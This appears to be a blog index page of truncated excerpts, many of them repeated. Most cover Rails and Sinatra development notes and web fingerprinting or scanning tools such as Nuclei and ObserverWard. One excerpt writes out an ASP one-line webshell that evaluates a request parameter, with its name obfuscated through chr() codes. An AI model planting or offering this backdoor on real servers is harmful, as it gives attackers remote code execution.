refer to: https://github.com/vinsol-spree-contrib/spree_themes/issues/26 issue description Mysql2::Error: Data too long for column 'nmap_result' at row 1 (ActiveRecord::ValueTooLong) from /home/s...
Wappalyzer Checkserverinfofingerprinthost技术栈
refer to: https://github.com/wappalyzer/wappalyzer https://security.stackexchange.com/questions/117131/how-to-find-out-what-programming-language-a-website-is-built-in very good~ register ( no n...
Rails Pluckvsmap
refer to:  https://stackoverflow.com/questions/45347317/which-one-is-faster-between-map-collect-select-and-pluck pluck:  pick 1 attribute from array map: re-implement your function my_ar...
Kali Checkhttpserverisalive:observerward
refer to: https://github.com/0x727/ObserverWard observerward:  detect website fingerprint project: https://github.com/0x727/FingerprintHub conclusion:  useful ,but not 100% accurate. sh...
Rails Pluckvsmap
refer to:  https://stackoverflow.com/questions/45347317/which-one-is-faster-between-map-collect-select-and-pluck pluck:  pick 1 attribute from array map: re-implement your function my_ar...
Trails的注册和api
refer to:https://securitytrails.com/corp/api
利器 Nuclei的详细使用nucleitemplate
refer to: https://github.com/projectdiscovery/nuclei https://nuclei.projectdiscovery.io/nuclei/get-started/ 非常强大的工具,最初知道它是在shuize上。 发现这个命令怎么都会报错。于是到官方看了一下,利器啊。 nuclei是工具, nuclei-template则是具体的刀尖。...
Rails Upsert的使用解释:必须与id配合才可以
refer to :  https://stackoverflow.com/questions/4695563/upsert-in-rails-activerecord https://stackoverflow.com/questions/58759765/how-does-the-upsert-function-in-rails-work https://apidock....
Trails的注册和api
refer to:https://securitytrails.com/corp/api
Rails Sidekiq有点可怕啊
1. 无法根据redis来准确删除某个任务,隐藏的特别深,只能使用flushall 2. 网上的策略都不好使,例如: https://stackoverflow.com/questions/25889699/sidekiq-stop-one-single-running-job https://stackoverflow.com/questions/48348723/sidekiq-lis...
Rails Upsert的使用解释:必须与id配合才可以
refer to :  https://stackoverflow.com/questions/4695563/upsert-in-rails-activerecord https://stackoverflow.com/questions/58759765/how-does-the-upsert-function-in-rails-work https://apidock....
Sccurity Webshell Asp Vbscript转换ascii字符串
refer to: https://www.vbsedit.com/html/c60e2712-20e6-40f2-8fe2-cfb74ca6bca1.asp vbscript code <%Eval(Request(chr(115)))%> 115 是小写的s 可以很方便的使用ruby转换: 'eval request("s")'.codepoints [101, 118, ...
Rails Sidekiq查看所有的未执行任务
refer to:  https://stackoverflow.com/questions/48348723/sidekiq-list-all-jobs-queued-running workers = Sidekiq::Workers.new workers.each do |_process_id, _thread_id, work| p work end
Ruby Sinatra 使用testunit
这样就行:, 运行方式: bundle exec ruby test/app_test.rb ENV['APP_ENV'] = 'test' require './app.rb' require 'test/unit' require 'rack/test' class AppTest < Test::Unit::TestCase include Rack::Test::Me...
Rails Sidekiq有点可怕啊
1. 无法根据redis来准确删除某个任务,隐藏的特别深,只能使用flushall 2. 网上的策略都不好使,例如: https://stackoverflow.com/questions/25889699/sidekiq-stop-one-single-running-job https://stackoverflow.com/questions/48348723/sidekiq-lis...
Rails Upgradefrom6to7
refer to: https://dev.to/thomasvanholder/how-to-upgrade-rails-61-to-rails-7-33a3 https://edgeguides.rubyonrails.org/upgrading_ruby_on_rails.html#upgrading-from-rails-6-1-to-rails-7-0 1. 修改r...
Rails Sidekiq查看所有的未执行任务
refer to:  https://stackoverflow.com/questions/48348723/sidekiq-list-all-jobs-queued-running workers = Sidekiq::Workers.new workers.each do |_process_id, _thread_id, work| p work end
Rails Redirect_to:back不能用了,使用:redirect_torequest.referrer
refer to: https://stackoverflow.com/questions/8952487/how-do-i-redirect-back-to-a-page-im-currently-on redirect_to request.referrer, alert: "登录成功"
Ruby Sinatra 使用testunit
这样就行:, 运行方式: bundle exec ruby test/app_test.rb ENV['APP_ENV'] = 'test' require './app.rb' require 'test/unit' require 'rack/test' class AppTest < Test::Unit::TestCase include Rack::Test::Me...
Rails Upgradefrom6to7
refer to: https://dev.to/thomasvanholder/how-to-upgrade-rails-61-to-rails-7-33a3 https://edgeguides.rubyonrails.org/upgrading_ruby_on_rails.html#upgrading-from-rails-6-1-to-rails-7-0 1. 修改r...